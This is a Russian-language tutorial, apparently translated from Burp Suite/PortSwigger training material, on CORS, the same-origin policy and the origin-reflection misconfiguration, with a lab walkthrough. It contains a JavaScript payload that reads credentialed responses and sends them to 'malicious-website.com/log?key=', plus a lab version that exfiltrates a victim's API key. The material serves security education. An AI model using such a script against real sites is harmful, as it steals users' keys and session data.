Burp Suite. Cross-origin resource sharing (CORS)

В этом разделе мы объясним, что такое совместное использование ресурсов между источниками (CORS), опишем некоторые распространенные примеры атак, основанных на совместном использовании ресурсов между источниками, и обсудим, как защититься от этих атак.

Что такое CORS (cross-origin resource sharing)?

Cross-origin resource sharing (CORS) - это механизм браузера, который обеспечивает контролируемый доступ к ресурсам, расположенным за пределами данного домена. Он расширяет и добавляет гибкости политике одного происхождения (SOP). Однако он также предоставляет возможность для междоменных атак, если политика CORS веб-сайта плохо настроена и реализована. CORS не защищает от атак из разных источников, таких как подделка межсайтовых запросов (CSRF).

Same-origin policy

Same-origin policy - это ограничительная спецификация для разных источников, которая ограничивает возможность веб-сайта взаимодействовать с ресурсами за пределами исходного домена. Same-origin policy была определена много лет назад в ответ на потенциально злонамеренные междоменные взаимодействия, такие как кража одним веб-сайтом личных данных у другого. Обычно это позволяет домену отправлять запросы другим доменам, но не получать доступ к ответам.

Ослабление same-origin policy

Same-origin policy очень ограничительна, и, следовательно, были разработаны различные подходы для обхода ограничений. Многие веб-сайты взаимодействуют с поддоменами или сторонними сайтами таким образом, что требуется полный доступ между источниками. Управляемое ослабление политики одного и того же происхождения возможно с помощью совместного использования ресурсов между источниками (CORS).

Протокол совместного использования ресурсов между источниками использует набор заголовков HTTP, которые определяют надежные источники Интернета и связанные свойства, например, разрешен ли доступ с проверкой подлинности. Они объединяются при обмене заголовками между браузером и веб-сайтом из разных источников, к которому он пытается получить доступ.

Уязвимости, возникающие из-за проблем с конфигурацией CORS

Многие современные веб-сайты используют CORS, чтобы разрешить доступ из поддоменов и доверенных третьих лиц. Их реализация CORS может содержать ошибки или быть чрезмерно снисходительной, чтобы гарантировать, что все работает, и это может привести к уязвимостям, которые можно использовать.

Сгенерированный сервером заголовок ACAO из указанного клиентом заголовка Origin

Некоторым приложениям необходимо предоставлять доступ к ряду других доменов. Ведение списка разрешенных доменов требует постоянных усилий, а любые ошибки могут нарушить функциональность. Таким образом, некоторые приложения выбирают простой путь, позволяющий эффективно разрешить доступ из любого другого домена.

Один из способов сделать это - прочитать заголовок Origin из запросов и включить заголовок ответа, в котором говорится, что запрашивающий источник разрешен. Например, рассмотрим приложение, которое получает следующий запрос:

GET /sensitive-victim-data HTTP/1.1
Host: vulnerable-website.com
Origin: https://malicious-website.com
Cookie: sessionid=...

Затем он отвечает:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true

В этих заголовках указано, что доступ разрешен из запрашивающего домена (malware-website.com) и что междоменные запросы могут включать файлы cookie (Access-Control-Allow-Credentials: true) и поэтому будут обрабатываться в сеансе.

Поскольку приложение отражает произвольное происхождение в заголовке Access-Control-Allow-Origin, это означает, что абсолютно любой домен может получить доступ к ресурсам из уязвимого домена. Если ответ содержит какую-либо конфиденциальную информацию, такую как ключ API или токен CSRF, вы можете получить ее, разместив на своем веб-сайте следующий скрипт:

var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='//malicious-website.com/log?key='+this.responseText;
};

Практический пример: Уязвимость CORS с basic origin reflection.

Этот веб-сайт имеет небезопасную конфигурацию CORS, поскольку он доверяет всем источникам.

Чтобы решить эту проблему, создайте некоторый JavaScript, который использует CORS для получения ключа API администратора и загрузки кода на ваш сервер эксплойтов. Лабораторная работа решена, когда вы успешно отправляете ключ API администратора.

Перехватываем запрос, в котором содержатся аутентификационные данные:

Просмотрите историю и обратите внимание, что ваш ключ извлекается с помощью запроса AJAX к / accountDetails, а ответ содержит заголовок Access-Control-Allow-Credentials, предполагающий, что он может поддерживать CORS.

Отправьте запрос в Burp Repeater и повторно отправьте его с добавленным заголовком: Origin: https://example.com.

Обратите внимание, что origin отражено в заголовке Access-Control-Allow-Origin.

В браузере перейдите на сервер эксплойтов и введите следующий HTML-код, заменив $ url уникальным URL-адресом лаборатории:

<script>
   var req = new XMLHttpRequest();
   req.onload = reqListener;
   req.open('get','$url/accountDetails',true);
   req.withCredentials = true;
   req.send();

   function reqListener() {
       location='/log?key='+this.responseText;
   };
</script>

Нажмите «Просмотреть эксплойт». Обратите внимание, что эксплойт работает - вы попали на страницу журнала, и ваш ключ API находится в URL-адресе.

Вернитесь на сервер эксплойтов и нажмите «Deliver exploit to victim».

Нажмите «Access log», получите и отправьте API-ключ жертвы, чтобы завершить лабораторную работу.

Декодируем полученный API и вводим в форму для решения:

Источник

• 🔴 Отказ от ответственности

• 🦋 Слитая информация - @Leakinfo
• 🎭 Наша группа > - Точка входа
• ❤️ Поблагодарить Bitcoin